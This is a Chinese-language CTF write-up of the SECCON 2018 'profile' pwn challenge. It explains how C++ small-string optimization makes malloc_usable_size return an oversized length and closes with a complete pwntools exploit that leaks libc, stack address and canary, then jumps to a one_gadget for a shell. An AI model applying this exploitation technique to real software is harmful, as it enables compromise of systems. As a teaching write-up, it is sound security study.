--- tags: writeup, ctf --- # SECCON 2018 writeup - profile ## 分析 首先打開 ida -> F5 發現這是個 C++ 的題目 ![](https://i.imgur.com/8j6JJMk.png) ~~然後我就放棄了~~ 阿不是,接著就是開始進行累人的分析,把他轉回正常人可以閱讀的語法,不過還好同隊的 @Jesse 大大在我分析到一半時就搞定了(跪),以下是分析的結果 ```C class Profile { public: std::string msg; // +0 int age; // +16 std::string name; // +32 static void set_age(int _age) { age = _age; } static void set_name(std::string& _name) { this.name = _name; } static void set_msg(std::string& _msg) { this.msg = _msg; } static void show() { std::cout << "Name : " << this.name << std::endl; std::cout << "Age : " << this.age << std::endl; std::cout << "Msg : " << this.msg << std::endl; } static void update_msg() { char *ptr = this.msg.c_str(); size_t size = malloc_usable_size(ptr); if ( size == 0 ) { std::cout << "Unable to update message." << std::endl; } else { std::cout << "Input new message >> ";; result = getn(ptr, size); } } } int main(int argc, const char **argv, const char **envp) { std::string buf; // [rsp+Ch] [rbp-C4h] Profile prof(); // [rbp-60h] std::cout << "Please introduce yourself!" << std::endl; std::cout << "Name >> "; std::cin >> buf; prof.set_name(buf); std::cout << "Age >> "; std::cin >> buf; prof.set_age(buf); std::cout << "Message >> "; std::cin >> buf; prof.set_msg(buf); do { std::cout << std::endl << "1 : update message"; std::cout << std::endl << "2 : show profile"; std::cout << std::endl << "0 : exit"; std::cout << std::endl << ">> "; std::cin >> buf; getchar(); if ( buf == 1 ) { prof.update_msg(); } else if ( buf == 2 ) { prof.show(); } else { std::cout << "Wrong input..." << std::endl; } } while(buf); return 0; } ``` 先做個初步分析,`Profile prof()` 是被放在 stack 上,而我們可控的輸入應該會被放在 heap 上,所以看起來這應該是個 heap 題。再來可以看出整段程式碼最奇怪的部分是這段,使用了一個沒看過的函數 `malloc_usable_size` ```C char *ptr = this.msg.c_str(); size_t size = malloc_usable_size(ptr); ``` 查閱 man 後得知這個 function 會回傳該 chunk 中可以使用的大小,雖然因為 malloc 本身有做 alignment 回傳的值可能會超出當初 malloc 的大小,但乍看之下沒啥大問題,總之我決定先直接玩玩看這隻程式 ![](https://i.imgur.com/00QETdx.png) 看到這個我想的是: 怎麼回事? 居然不是爆跟 heap 相關的錯誤,而是一個奇怪的 SEGFAULT? 另外,`result = getn(ptr, size);` 應該限制了我的輸入大小才對 接著用 gdb 去追錯誤發生的原因,結果又更令人匪夷所思了 ![](https://i.imgur.com/MEzHlQP.png) 本該在 heap 上的 string 居然會 overflow 到存在 stack 上的指標,造成在 prof destruct 的時候拿到錯誤的地址,這甚麼情況? 仔細檢查之後發現原本應該要在 heap 上的 string 其實是被放在 stack 上! ![](https://i.imgur.com/HOuMcQp.png) prof 的 address 是 rbp-0x60,在這邊是 0x7fffffffddb0 重新回想一下 Profile class 內的成員 ```C std::string msg; // +0 std::string name; // +16 int age; // +32 ``` 不難看出被放在 stack 上的 std::string 的結構如下 ```C char *ptr; // ptr == str int len; char str[len]; ``` 但為甚麼 string 沒有被放到 heap 上而是 stack 上呢? 這是因為 C++ 中引入了一個優化技巧 [SSO(Small String Optimization)](https://blogs.msmvps.com/gdicanio/2016/11/17/the-small-string-optimization/) 來降低 malloc 的使用次數。 這同時可以解釋 `malloc_usable_size` 到底為甚麼回傳了比原本大的 size 以下節錄 `malloc_usable_size` 中較重要的一段 ```C if (mem != 0) { p = mem2chunk (mem); if (__builtin_expect (using_malloc_checking == 1, 0)) return malloc_check_get_size (p); if (chunk_is_mmapped (p)) { if (DUMPED_MAIN_ARENA_CHUNK (p)) return chunksize (p) - SIZE_SZ; else return chunksize (p) - 2 * SIZE_SZ; } else if (inuse (p)) return chunksize (p) - SIZE_SZ; } ``` 根據剛剛的 `std::string` 結構,可以想見 `chunksize (p)` 拿到的會是該 string 的長度,也就是說當 string 的長度小於 `SIZE_SZ`(在 64bit 下為 8) 時,將會返回一個極大的數,也就可以造成 overflow。 ## Exploit 接下來的 exploit 就簡單了,透過 overflow 控制 `prof.name` 的 ptr 指標來 leak libc, stack, canary,最後接 one_gadget 即可。 ```python #!/usr/bin/env python2 from pwn import * #r = remote('localhost', 4000) r = remote('profile.pwn.seccon.jp', 28553) libc = ELF('./libc.so.6') read_got = 0x602028 # make length of name == 8 to leak exactly 8 byte r.sendlineafter('>> ', 'A'*8) r.sendlineafter('>> ', '88888888') r.sendlineafter('>> ', 'C') r.sendlineafter('>> ', '1') r.sendlineafter('>> ', 'C'*16+p64(read_got)) r.sendlineafter('>> ', '2') r.recvuntil('ame : ') leak = u64(r.recvn(8)) libc.address = leak - libc.symbols['read'] one_gadget = libc.address + 0x45216 print hex(libc.address) r.sendlineafter('>> ', '1') r.sendlineafter('>> ', 'C'*16+p64(libc.symbols['environ'])) r.sendlineafter('>> ', '2') r.recvuntil('ame : ') leak = u64(r.recvn(8)) rbp = leak - 0xf8 buf = leak - 0x128 print hex(rbp) r.sendlineafter('>> ', '1') r.sendlineafter('>> ', 'C'*16+p64(rbp-0x18)) r.sendlineafter('>> ', '2') r.recvuntil('ame : ') canary = u64(r.recvn(8)) print hex(canary) r.sendlineafter('>> ', '1') r.sendlineafter('>> ', 'C'*16+p64(buf)+p64(8)+'A'*24+p64(canary)+'A'*24+p64(one_gadget)) r.sendlineafter('>> ', '0') r.interactive() ```